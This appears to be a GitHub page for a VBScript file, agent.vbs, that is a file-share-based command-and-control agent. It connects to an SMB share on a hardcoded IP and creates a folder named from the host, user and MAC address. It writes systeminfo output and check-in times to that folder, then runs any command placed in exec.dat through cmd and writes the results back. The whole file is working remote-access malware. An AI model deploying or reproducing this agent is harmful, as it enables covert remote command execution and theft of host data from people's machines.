-
Notifications
You must be signed in to change notification settings - Fork 13
/
agent.vbs
93 lines (76 loc) · 2.71 KB
/
agent.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
ServerName = "\\172.16.47.191"
ShareName = "D$"
ProjectName = "projectName"
Set NetworkObject = CreateObject("WScript.Network")
Set FSO = CreateObject("Scripting.FileSystemObject")
'NetworkObject.MapNetworkDrive "", ServerShare, False, UserName, Password'
ServerShare = ServerName & "\" & ShareName
projectDir = ServerShare & "\" & ProjectName
If NOT (FSO.FolderExists(projectDir)) Then
FSO.CreateFolder(projectDir)
End If
'Get The First MAC address'
Set WMI = GetObject("winmgmts:\\.\root\cimv2")
Set Nads = WMI.ExecQuery("Select * from Win32_NetworkAdapter where physicaladapter=true")
Dim Nad
For Each Nad in Nads
macAddress = Nad.MACAddress
exit for
Next
hostName = NetworkObject.ComputerName & "-" & NetworkObject.UserName & "-" & macAddress
hostName = Replace(hostName, ":", "-")
hostDir = projectDir & "\" & hostName
hostDir = Replace(hostDir, ":", "-")
If NOT (FSO.FolderExists(hostDir)) Then
FSO.CreateFolder(hostDir)
End If
Set objShell = CreateObject("WScript.Shell")
'Setting the %PATH% variable in the execution environment'
Set colVolEnvVars = objShell.Environment("Volatile")
colVolEnvVars("PATH") = hostDir
'File locations'
execFile = hostDir & "\exec.dat"
infoFile = hostDir & "\info.dat"
outFile = hostDir & "\output.dat"
pingFile = hostDir & "\ping.dat"
checkinFile = hostDir & "\checkin.dat"
pathFile = hostDir & "\path.dat"
Set colVolEnvVars = Nothing
'File that contains the UNC path for the Agent'
If not FSO.FileExists(pathFile) Then
Set objFile = FSO.CreateTextFile(pathFile, 1)
objFile.write(hostDir & "\")
objFile.Close
End If
'File that is created when the agent first Checks-in'
If not FSO.FileExists(checkinFile) Then
Set oExec = objShell.Exec("%comspec% /c date /t && time /t")
Set objFile = FSO.CreateTextFile(checkinFile, 1)
objFile.write(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll())
objFile.Close
End If
'File that lists the hosts information'
If not FSO.FileExists(infoFile) Then
Set oExec = objShell.Exec("%comspec% /c systeminfo")
Set objFile = FSO.CreateTextFile(infoFile, 1)
objFile.write(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll())
objFile.Close
End If
'File that "changes" every time the script is run'
Set objFile = FSO.CreateTextFile(pingFile, 1)
objFile.write("")
objFile.Close
'File that contains a command'
If FSO.FileExists(execFile) Then
Set execObjFile = FSO.OpenTextFile(execFile,1)
user_comm = execObjFile.ReadAll()
command = "%comspec% /c " & user_comm
'command = "powershell.exe " & user_comm'
Set oExec = objShell.Exec(command)
Set objFile = FSO.OpenTextFile(outFile, 8, 1)
objFile.write(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll())
objFile.Close
execObjFile.Close
FSO.DeleteFile execFile
End If
'NetworkObject.RemoveNetworkDrive ServerShare, True, False'